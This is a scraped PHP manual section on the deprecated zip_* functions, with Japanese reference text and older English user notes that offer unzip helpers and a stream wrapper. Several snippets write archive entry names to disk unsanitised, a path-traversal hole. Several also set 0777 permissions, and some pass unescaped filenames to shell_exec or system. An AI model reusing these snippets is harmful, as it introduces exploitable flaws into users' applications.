bushj at rpi dot edu 25-Jun-2007 10:59
I made a zip stream handler in case your distribution does not have the built in one using the new ZipArchive system. This one also features the ability to grab entries by index as well as by name. It is similar in capabilities to the builtin gzip/bzip2 compression stream handlers (http://us2.php.net/manual/en/wrappers.compression.php) except it does not support writing.

To use:
fopen('zip://absolute/path/to/file.zip?entryname', $mode) or
fopen('zip://absolute/path/to/file.zip#entryindex', $mode) or
fopen('zip://absolute/path/to/file.zip', $mode)

$mode can only be 'r' or 'rb'. In the last case the first entry in the zip file is used.

<?php
class ZipStream {
  public $zip; //the zip file
  public $entry; //the opened zip entry
  public $length; //the uncompressed size of the zip entry
  public $position; //the current position in the zip entry read
  //Opens the zip file then retrieves and opens the entry to stream
  public function stream_open($path, $mode, $options, &$opened_path) {
    if ($mode != 'r' && $mode != 'rb') //only accept r and rb modes, no writing!
      return false;
    $path = 'file:///'.substr($path, 6); //switch out file:/// for zip:// so we can use url_parse
    $url = parse_url($path);
    //open the zip file
    $filename = $url['path'];
    $this->zip = zip_open($filename);
    if (!is_resource($this->zip))
      return false;

    //if entry name is given, find that entry
    if (array_key_exists('query', $url) && $url['query']) {
      $path = $url['query'];
      do {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      } while (zip_entry_name($this->entry) != $path);
    } else { //otherwise get it by index (default to 0)
      $id = 0;
      if (array_key_exists('fragment', $url) && is_int($url['fragment']))
        $id = $url['fragment']*1;
      for ($i = 0; $i <= $id; $i++) {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      }
    }
    //setup length and open the entry for reading
    $this->length = zip_entry_filesize($this->entry);
    $this->position = 0;
    zip_entry_open($this->zip, $this->entry, $mode);
    return true;
  }
  //Closes the zip entry and file
  public function stream_close() { @zip_entry_close($this->entry); @zip_close($this->zip); }
  //Returns how many bytes have been read from the zip entry
  public function stream_tell() { return $this->position; }
  //Returns true if the end of the zip entry has been reached
  public function stream_eof() { return $this->position >= $this->length; }
  //Returns the stat array, only 'size' is filled in with the uncompressed zip entry size
  public function url_stat() { return array('dev'=>0, 'ino'=>0, 'mode'=>0, 'nlink'=>0, 'uid'=>0, 'gid'=>0, 'rdev'=>0, 'size'=>$this->length, 'atime'=>0, 'mtime'=>0, 'ctime'=>0, 'blksize'=>0, 'blocks'=>0); }
  //Reads the next $count bytes or until the end of the zip entry. Returns the data or false if no data was read.
  public function stream_read($count) {
    $this->position += $count;
    if ($this->position > $this->length)
      $this->position = $this->length;
    return zip_entry_read($this->entry, $count);
  }
}
//Register the zip stream handler
stream_wrapper_register('zip', 'ZipStream'); //if this fails there is already a zip stream handler and we will just use that one
?>
nielsvandenberge at hotmail dot com 11-May-2007 02:29
This is the function I use to unzip a file.
It includes the following options:
* Unzip in any directory you like
* Unzip in the directory of the zip file
* Unzip in a directory with the zipfile's name in the directory of the zip file. (i.e.: C:\test.zip will be unzipped in  C:\test\)
* Overwrite existing files or not
* It creates non existing directories with the function Create_dirs($path)

You should use absolute paths with slashes (/) instead of backslashes (\).
I tested it with PHP 5.2.0 with php_zip.dll extension loaded

<?php
/**
 * Unzip the source_file in the destination dir
 *
 * @param   string      The path to the ZIP-file.
 * @param   string      The path where the zipfile should be unpacked, if false the directory of the zip-file is used
 * @param   boolean     Indicates if the files will be unpacked in a directory with the name of the zip-file (true) or not (false) (only if the destination directory is set to false!)
 * @param   boolean     Overwrite existing files (true) or not (false)
 *
 * @return  boolean     Succesful or not
 */
function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)
{
  if ($zip = zip_open($src_file))
  {
    if ($zip)
    {
      $splitter = ($create_zip_name_dir === true) ? "." : "/";
      if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";

      // Create the directories to the destination dir if they don't already exist
      create_dirs($dest_dir);

      // For every file in the zip-packet
      while ($zip_entry = zip_read($zip))
      {
        // Now we're going to create the directories in the destination directories

        // If the file is not in the root dir
        $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
        if ($pos_last_slash !== false)
        {
          // Create the directory where the zip-entry should be saved (with a "/" at the end)
          create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
        }

        // Open the entry
        if (zip_entry_open($zip,$zip_entry,"r"))
        {

          // The name of the file to save on the disk
          $file_name = $dest_dir.zip_entry_name($zip_entry);

          // Check if the files should be overwritten or not
          if ($overwrite === true || $overwrite === false && !is_file($file_name))
          {
            // Get the content of the zip entry
            $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));

            file_put_contents($file_name, $fstream );
            // Set the rights
            chmod($file_name, 0777);
            echo "save: ".$file_name."<br />";
          }

          // Close the entry
          zip_entry_close($zip_entry);
        }
      }
      // Close the zip-file
      zip_close($zip);
    }
  }
  else
  {
    return false;
  }

  return true;
}

/**
 * This function creates recursive directories if it doesn't already exist
 *
 * @param String  The path that should be created
 *
 * @return  void
 */
function create_dirs($path)
{
  if (!is_dir($path))
  {
    $directory_path = "";
    $directories = explode("/",$path);
    array_pop($directories);

    foreach($directories as $directory)
    {
      $directory_path .= $directory."/";
      if (!is_dir($directory_path))
      {
        mkdir($directory_path);
        chmod($directory_path, 0777);
      }
    }
  }
}

// Extract C:/zipfiletest/zip-file.zip to C:/zipfiletest/zip-file/ and overwrites existing files
unzip("C:/zipfiletest/zip-file.zip", false, true, true);

// Extract C:/zipfiletest/zip-file.zip to C:/another_map/zipfiletest/ and doesn't overwrite existing files. NOTE: It doesn't create a map with the zip-file-name!
unzip("C:/zipfiletest/zip-file.zip", "C:/another_map/zipfiletest/", true, false);

?>
jeswanth@gmail 30-Apr-2007 12:55
Hi, all

There are lot of functions given below which etracts files, but what they lack is setting file permissions. On some servers file permissions are very important and the script cease to work after creating first directory, So I have added chmod to the code. There is only one limitation to the code, files without file extension are neither treated as files or directories so they are not chmoded, anyway this does not affect the code. Hope this helps.

<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
     chmod($dir.$file, 0777);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
            chmod($dir_op, 0777);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w+");
        chmod($dir.$file."/".zip_entry_name($zip_entry), 0777);
           fwrite($fp,$buf);

           fclose($fp);

           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}

$dir = $_SERVER['DOCUMENT_ROOT']."/"."destdirectory/";
$file = 'zipfilename_without_extension';
unpackZip($dir,$file);
$print = $_SERVER['DOCUMENT_ROOT'];
?>
bholub at chiefprojects dot com 17-Oct-2006 12:14
This will simply unpack (including directories) $zip to $dir -- in this example the zip is being uploaded.
<?php
    $dir = 'C:\\reports-temp\\';
    $zip = zip_open($_FILES['report_zip']['tmp_name']);
    while($zip_entry = zip_read($zip)) {
        $entry = zip_entry_open($zip,$zip_entry);
        $filename = zip_entry_name($zip_entry);
        $target_dir = $dir.substr($filename,0,strrpos($filename,'/'));
        $filesize = zip_entry_filesize($zip_entry);
        if (is_dir($target_dir) || mkdir($target_dir)) {
            if ($filesize > 0) {
                $contents = zip_entry_read($zip_entry, $filesize);
                file_put_contents($dir.$filename,$contents);
            }
        }
    }
?>
angelnsn1 at hotmail dot com 26-Jan-2006 06:06
this function extract all files and subdirectories, you can choose verbose mode for get paths of files extracted. the function return a msg what indicate the error, if msg is OK, all is done.

---

code:

<?php
function unzip($dir, $file, $verbose = 0) {

   $dir_path = "$dir$file";
   $zip_path = "$dir$file.zip";

   $ERROR_MSGS[0] = "OK";
   $ERROR_MSGS[1] = "Zip path $zip_path doesn't exists.";
   $ERROR_MSGS[2] = "Directory $dir_path for unzip the pack already exists, impossible continue.";
   $ERROR_MSGS[3] = "Error while opening the $zip_path file.";

   $ERROR = 0;

   if (file_exists($zip_path)) {

         if (!file_exists($dir_path)) {

            mkdir($dir_path);

         if (($link = zip_open($zip_path))) {

            while (($zip_entry = zip_read($link)) && (!$ERROR)) {

               if (zip_entry_open($link, $zip_entry, "r")) {

                  $data = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                  $dir_name = dirname(zip_entry_name($zip_entry));
                  $name = zip_entry_name($zip_entry);

                  if ($name[strlen($name)-1] == '/') {

                        $base = "$dir_path/";

                     foreach ( explode("/", $name) as $k) {

                        $base .= "$k/";

                        if (!file_exists($base))
                           mkdir($base);

                     }

                  }
                  else {

                      $name = "$dir_path/$name";

                      if ($verbose)
                       echo "extracting: $name<br>";

                    $stream = fopen($name, "w");
                    fwrite($stream, $data);

                  }

                  zip_entry_close($zip_entry);

               }
               else
                  $ERROR = 4;

              }

              zip_close($link);

           }
           else
              $ERROR = "3";
       }
       else
          $ERROR = 2;
    }
    else
       $ERROR = 1;

   return $ERROR_MSGS[$ERROR];

}
?>

---

example:

<?php
$error = unzip("d:/www/dir/", "zipname", 1);

echo $error;
?>

---

i hope this help you,
good bye.
ringu at mail dot ru 20-Aug-2005 06:12
i try to find function that will show exists file in zip archive or not. of course i not found it. and so write mine:

first will just check archive for list of files, if not found all files function return FALSE:

<?php
function zipx_entries_exists()
{
    $names=array();
    $args=func_get_args();
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=1; $x<=$far_size; $t+=in_array($args[$x], $names), $x++);
            return $t==--$far_size;
        }else{
             return 'No zip file in descriptor!';
        }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_exists($zip, 'photo_1.jpg', 'photo_2.jpg'));

second function will try to find files in zip, if not found it return string with names of not found files with specified delimeter:

function zipx_entries_nonexists_list()
{
    $names=array();
    $args=func_get_args();
    $m=NULL;
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=2; $x<=$far_size; $m.=(in_array($args[$x], $names) ? NULL : $args[$x].$args[1]), $x++);
            return trim($m, $args[1]);
        }else{
             return 'No zip file in descriptor!';
        }
}
?>

example:
<?php
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_nonexists_list($zip, '<br />', 'photo_1.jpg', 'photo_2.jpg'));
?>

it will return if not found files:
photo_1.jpg<br />photo_2.jpg
tom 27-Jun-2005 09:33
If you just want to unzip a zip folder an alternative to some of the lengthy functions below is:

<?php

function unzip($zip_file, $src_dir, $extract_dir)
{
 copy($src_dir . "/" . $zip_file, $extract_dir . "/" . $zip_file);
 chdir($extract_dir);
 shell_exec("unzip $zip_file");
}

?>

You don't need the ZIP extension for this.
candido1212 at yahoo dot com dot br 27-Apr-2005 08:52
New Unzip function, recursive extract
Require mkdirr() (recursive create dir)

<?php
$file = "2537c61ef7f47fc3ae919da08bcc1911.zip";
$dir = getcwd();
function Unzip($dir, $file, $destiny="")
{
    $dir .= DIRECTORY_SEPARATOR;
    $path_file = $dir . $file;
    $zip = zip_open($path_file);
    $_tmp = array();
    $count=0;
    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $_tmp[$count]["filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["stored_filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["size"] = zip_entry_filesize($zip_entry);
            $_tmp[$count]["compressed_size"] = zip_entry_compressedsize($zip_entry);
            $_tmp[$count]["mtime"] = "";
            $_tmp[$count]["comment"] = "";
            $_tmp[$count]["folder"] = dirname(zip_entry_name($zip_entry));
            $_tmp[$count]["index"] = $count;
            $_tmp[$count]["status"] = "ok";
            $_tmp[$count]["method"] = zip_entry_compressionmethod($zip_entry);

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                if($destiny)
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $destiny . zip_entry_name($zip_entry));
                }
                else
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $dir . zip_entry_name($zip_entry));
                }
                $new_dir = dirname($path_file);

                // Create Recursive Directory
                mkdirr($new_dir);

                $fp = fopen($dir . zip_entry_name($zip_entry), "w");
                fwrite($fp, $buf);
                fclose($fp);

                zip_entry_close($zip_entry);
            }
            echo "\n</pre>";
            $count++;
        }

        zip_close($zip);
    }
}
Unzip($dir,$file);
?>
22-Feb-2005 08:54
If (as me) all you wanted to do is store a big string (for example, a serialized array or the like) in a mysql BLOB field, remember that mysql has a COMPRESS() and UNCOMPRESS() pair of functions that do exactly that. Compression/decompression is therefore available also when accessing the DB from other languages like java, etc.
krishnendu at spymac dot com 31-May-2004 01:28
If you want to unzip an password protected file with php..try the following command....it works in Unix/Apache environment...I haven't tested in any other environment...

system("`which unzip` -P Password $zipfile -d $des",$ret_val)

Where $zipfile is the path to the .zip to be unzipped and $des is path to the destination directory.....here both absolute and relative path to the script (which contains this system command) will work...

if everything runs well...file should be unzipped at the $des directory..and you will get 0 value for $ret_val , which means success(info-zip.org)

Regards
Krishnendu
travis 17-Jun-2003 10:06
just a not of caution--using the dynamic zip class mentioned earlier seems to cause issues with high ascii characters (their values are not preserved correctly, and the file will not unzip)
chris 22-Mar-2003 10:32
Watch out with archives that contain subfolders if you're using the zip functions to extract archives to actual files.  Let's say you're trying to extract foldername/filename.txt from the archive.  You can't fopen a directory that doesn't exist, so you'll have to check for the existance of directory foldername and create it if it isn't found, then fopen foldername/filename.txt and begin writing to that.


ZIP ファイルアーカイブを閉じる

  • ≪ Zip 関数
  • zip_entry_close ≫
  • PHP Manual
  • Zip 関数
  • ZIP ファイルアーカイブを閉じる

zip_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_close — ZIP ファイルアーカイブを閉じる

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_close ( resource $zip ) : void

ZIP ファイルアーカイブを閉じます。

パラメータ

zip

事前に zip_open() でオープンされた ZIP ファイル。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::close() を参照して下さい。

参考

  • zip_open() - Zip ファイルアーカイブをオープンする
  • zip_read() - Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリエントリを閉じる

  • ≪ zip_close
  • zip_entry_compressedsize ≫
  • PHP Manual
  • Zip 関数
  • ディレクトリエントリを閉じる

zip_entry_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_close — ディレクトリエントリを閉じる

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_close ( resource $zip_entry ) : bool

指定されたディレクトリエントリを閉じます。

パラメータ

zip_entry

zip_entry_open()によりオープンされたディレクトリの エントリ

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。

参考

  • zip_entry_open() - 読込み用にディレクトリエントリをオープンする
  • zip_entry_read() - オープンされたディレクトリエントリから読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリエントリの圧縮時のサイズを取得する

  • ≪ zip_entry_close
  • zip_entry_compressionmethod ≫
  • PHP Manual
  • Zip 関数
  • ディレクトリエントリの圧縮時のサイズを取得する

zip_entry_compressedsize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_compressedsize — ディレクトリエントリの圧縮時のサイズを取得する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_compressedsize ( resource $zip_entry ) : int|false

ディレクトリエントリの圧縮時のサイズを取得します。

パラメータ

zip_entry

zip_read()により返されたディレクトリのエントリ

返り値

圧縮後のサイズを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::statIndex() を参照して下さい。

参考

  • zip_open() - Zip ファイルアーカイブをオープンする
  • zip_read() - Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリエントリの圧縮方法を取得する

  • ≪ zip_entry_compressedsize
  • zip_entry_filesize ≫
  • PHP Manual
  • Zip 関数
  • ディレクトリエントリの圧縮方法を取得する

zip_entry_compressionmethod

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_compressionmethod — ディレクトリエントリの圧縮方法を取得する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_compressionmethod ( resource $zip_entry ) : string|false

zip_entryにより指定されたディレクトリエントリの 圧縮方法を返します。

パラメータ

zip_entry

zip_read()により返されたディレクトリのエントリ

返り値

圧縮方法を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::statIndex() を参照して下さい。

参考

  • zip_open() - Zip ファイルアーカイブをオープンする
  • zip_read() - Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリエントリの実際のファイルサイズを取得する

  • ≪ zip_entry_compressionmethod
  • zip_entry_name ≫
  • PHP Manual
  • Zip 関数
  • ディレクトリエントリの実際のファイルサイズを取得する

zip_entry_filesize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_filesize — ディレクトリエントリの実際のファイルサイズを取得する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_filesize ( resource $zip_entry ) : int|false

ディレクトリエントリの実際のファイルサイズを返します。

パラメータ

zip_entry

zip_read()により返されたディレクトリのエントリ

返り値

ディレクトリエントリのサイズを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::statIndex() を参照して下さい。

参考

  • zip_open() - Zip ファイルアーカイブをオープンする
  • zip_read() - Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

Reflex 16-Jul-2010 05:17
Simple function that return total size of files in archive.
May be useful for check for zip bombs.

<?php

function get_zip_originalsize($filename) {
    $size = 0;
    $resource = zip_open($filename);
    while ($dir_resource = zip_read($resource)) {
        $size += zip_entry_filesize($dir_resource);
    }
    zip_close($resource);

    return $size;
}

$size = get_zip_originalsize('file.zip');
echo "original size: $size bytes\n";

?>


ディレクトリエントリの名前を取得する

  • ≪ zip_entry_filesize
  • zip_entry_open ≫
  • PHP Manual
  • Zip 関数
  • ディレクトリエントリの名前を取得する

zip_entry_name

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_name — ディレクトリエントリの名前を取得する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_name ( resource $zip_entry ) : string|false

指定したディレクトリエントリの名前を返します。

パラメータ

zip_entry

zip_read()により返されたディレクトリエントリ

返り値

ディレクトリエントリの名前を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::statIndex() を参照して下さい。

参考

  • zip_open() - Zip ファイルアーカイブをオープンする
  • zip_read() - Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

kevyn at opsone dot net 20-Nov-2008 07:21
Big note for filename with accents.

Some Zip softwares encode accents with CP850.

So use iconv for keeping your accents SAFE !
leandro_dealmeida at hotmail dot com 27-Sep-2002 09:21
If you want to get the real name of the file without the directory name, you can just use the function basename() as the follow:

<?
$zip_dir = "./import/";
$zip = zip_open($zip_dir."import.zip");
if ($zip) {
    while ($zip_entry = zip_read($zip)) {

        $file = basename(zip_entry_name($zip_entry));
        $fp = fopen($zip_dir.basename($file), "w+");

        if (zip_entry_open($zip, $zip_entry, "r")) {
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            zip_entry_close($zip_entry);
        }

           fwrite($fp, $buf);
        fclose($fp);

        echo "The file ".$file." was extracted to dir ".$zip_dir."\n<br>";
    }
    zip_close($zip);
}
?>

Thefore you can extract files without concern with the directory that is set inside the zip source.

Remember to give write permission (w) on that directory.

Hello from Brazil.
Leandro


読込み用にディレクトリエントリをオープンする

  • ≪ zip_entry_name
  • zip_entry_read ≫
  • PHP Manual
  • Zip 関数
  • 読込み用にディレクトリエントリをオープンする

zip_entry_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_open — 読込み用にディレクトリエントリをオープンする

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_open ( resource $zip_dp , resource $zip_entry , string $mode = "rb" ) : bool

読込み用にzipファイルの中にディレクトリエントリをオープンします。

パラメータ

zip_dp

zip_open()により返された有効なリソースハンドル

zip_entry

zip_read()により返されたディレクトリエントリ

mode

fopen()のマニュアルで指定されたモードのどれか

注意:

現在、modeは無視され、 常に"rb"となります。 これは、PHPのzipサポートが読み込みのみのアクセスであるためです。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意:

fopen()や他の同種の関数と異なり、 zip_entry_open()の戻り値は、 処理の結果のみを示し、ディレクトリエントリの読み込みやクローズの際には 必要とされません。

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。

参考

  • zip_entry_close() - ディレクトリエントリを閉じる
  • zip_entry_read() - オープンされたディレクトリエントリから読み込む

User Contributed Notes

jrhodes at roket-productions dot com 26-Nov-2008 03:21
'rb' is a valid mode, and means Read-Only Binary Mode.  This mode is used for portability reasons (see fopen).


オープンされたディレクトリエントリから読み込む

  • ≪ zip_entry_open
  • zip_open ≫
  • PHP Manual
  • Zip 関数
  • オープンされたディレクトリエントリから読み込む

zip_entry_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_read — オープンされたディレクトリエントリから読み込む

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_entry_read ( resource $zip_entry , int $len = 1024 ) : string|false

オープンされたディレクトリエントリから読み込みます。

パラメータ

zip_entry

zip_read()により返されたディレクトリエントリ

len

返すバイト数。

注意:

これは、読み込むデータの非圧縮時の長さとなります。

返り値

読み込んだデータを返します。ファイルの終端に達した場合は空文字列、エラー時には false を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::getFromIndex() を参照して下さい。

参考

  • zip_entry_open() - 読込み用にディレクトリエントリをオープンする
  • zip_entry_close() - ディレクトリエントリを閉じる
  • zip_entry_filesize() - ディレクトリエントリの実際のファイルサイズを取得する

User Contributed Notes

There are no user contributed notes for this page.


Zip ファイルアーカイブをオープンする

  • ≪ zip_entry_read
  • zip_read ≫
  • PHP Manual
  • Zip 関数
  • Zip ファイルアーカイブをオープンする

zip_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_open — Zip ファイルアーカイブをオープンする

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_open ( string $filename ) : resource|int|false

読み込み用に新規に Zip アーカイブをオープンします。

パラメータ

filename

オープンする ZIP アーカイブのファイル名。

返り値

後で zip_read() および zip_close() で使用されるリソースハンドル、または、 filename が存在しない場合やその他のエラーが発生した場合は false か エラーの番号を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::open() を参照して下さい。

参考

  • zip_read() - Zip ファイルアーカイブの中の次のエントリを読み込む
  • zip_close() - ZIP ファイルアーカイブを閉じる

User Contributed Notes

ohcc at 163 dot com 16-Dec-2015 10:31
The zip archive will NOT be saved on disk before ZipArchive::close() is called. (ZipArchive::close will be called automatically at the end of the script if you don't write that code.)

If you want to delete a file after adding it to the zip archive, you should delete it after ZipArchive::close() is called. Otherwise, the file will be deleted before actually being added into the archive, which will make your zip archive fail to be saved.

<?php
    $za = new ZipArchive();
    $za->open('./xc.zip', ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $file = './notes.txt';
    if( true === $za->addFile($file)){
        unlink($file);
    }
    if(!$za->close()){
        echo 'failure.';
    }
?>
fuljencio at gmail dot com 13-Oct-2009 08:34
getting a mozilla addon version (a firefox extension, for instance):

<?php
    function get_addon_version($path)
    {
        // open zip
        $zip = zip_open($path);

            // find entry
            do {
                $entry = zip_read($zip);
            } while ($entry && zip_entry_name($entry) != "install.rdf");

            // open entry
            zip_entry_open($zip, $entry, "r");

                // read entry
                $entry_content = zip_entry_read($entry, zip_entry_filesize($entry));

                // position of <em:version>
                $version_open_pos = strpos($entry_content, "<em:version>");

                // position of </em:version>
                $version_close_pos = strpos($entry_content, "</em:version>", $version_open_pos);

                // version
                $version = substr(
                        $entry_content,
                        $version_open_pos + strlen("<em:version>"),
                        $version_close_pos - ($version_open_pos + strlen("<em:version>"))
                );

            // close entry
            zip_entry_close($entry);

        // close zip
        zip_close($zip);

        return $version;
    }
?>
strefrextor at gmail [.] com 13-Sep-2009 04:43
my basic extract zip file function

<?php
    function ezip($zip, $hedef = '')
    {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $zip = zip_open($root . $zip);
        while($zip_icerik = zip_read($zip)):
            $zip_dosya = zip_entry_name($zip_icerik);
            if(strpos($zip_dosya, '.')):
                $hedef_yol = $root . $hedef . 'x/'.$zip_dosya;
                touch($hedef_yol);
                $yeni_dosya = fopen($hedef_yol, 'w+');
                fwrite($yeni_dosya, zip_entry_read($zip_icerik));
                fclose($yeni_dosya);
            else:
                @mkdir($root . $hedef . 'x/'.$zip_dosya);
            endif;
        endwhile;
    }

    ezip('files.zip', 'unzip_files/');
?>
david at php dot net 20-Jun-2009 03:32
Note that the Zip functions return an integer error number in the event of error. So:

<?php
$zip = zip_open($file);

if ($zip) {
?>

is incorrect. Instead use:

<?php
$zip = zip_open($file);

if (is_resource($zip)) {
?>
Anonymous 16-Sep-2008 11:17
Note, this function ignores custom stream wrappers, like the ones created by stream_wrapper_register - which is really too bad.
xsign dot dll at clansuite dot com 06-Sep-2008 09:22
If you want to simply extract a strain of a zip file, then use this func. Maybe it helps:

<?php
/**
* This method unzips a directory within a zip-archive
*
* @author Florian 'x!sign.dll' Wolf
* @license LGPL v2 or later
* @link http://www.xsigndll.de
* @link http://www.clansuite.com
*/

function extractZip( $zipFile = '', $dirFromZip = '' )
{
    define(DIRECTORY_SEPARATOR, '/');

    $zipDir = getcwd() . DIRECTORY_SEPARATOR;
    $zip = zip_open($zipDir.$zipFile);

    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $completePath = $zipDir . dirname(zip_entry_name($zip_entry));
            $completeName = $zipDir . zip_entry_name($zip_entry);

            // Walk through path to create non existing directories
            // This won't apply to empty directories ! They are created further below
            if(!file_exists($completePath) && preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
            {
                $tmp = '';
                foreach(explode('/',$completePath) AS $k)
                {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp) )
                    {
                        @mkdir($tmp, 0777);
                    }
                }
            }

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                if( preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
                {
                    if ($fd = @fopen($completeName, 'w+'))
                    {
                        fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                        fclose($fd);
                    }
                    else
                    {
                        // We think this was an empty directory
                        mkdir($completeName, 0777);
                    }
                    zip_entry_close($zip_entry);
                }
            }
        }
        zip_close($zip);
    }
    return true;
}

// The call to exctract a path within the zip file
extractZip( 'clansuite.zip', 'core/filters' );
?>
alban dot lopez+php dot net at gmail dot com 16-Nov-2007 03:13
See this class to make, read Infos or extract ZIP archive.
see EasyArchive.class.php on http://ajaxbrowser.free.fr/ to manage like that ZIP, GZIP, BZIP and TAR archive.

<?
$ARCHIVE = new zip;

$ARCHIVE->makeZip('./','./toto.zip'); // make an ZIP archive
var_export($ARCHIVE->infosZip('./toto.zip'), false); // get infos of this ZIP archive (without files content)
var_export($ARCHIVE->infosZip('./toto.zip')); // get infos of this ZIP archive (with files content)
$ARCHIVE->extractZip('./toto.zip', './1/'); //

class zip
{
    public function infosZip ($src, $data=true)
    {
        if (($zip = zip_open(realpath($src))))
        {
            while (($zip_entry = zip_read($zip)))
            {
                $path = zip_entry_name($zip_entry);
                if (zip_entry_open($zip, $zip_entry, "r"))
                {
                    $content[$path] = array (
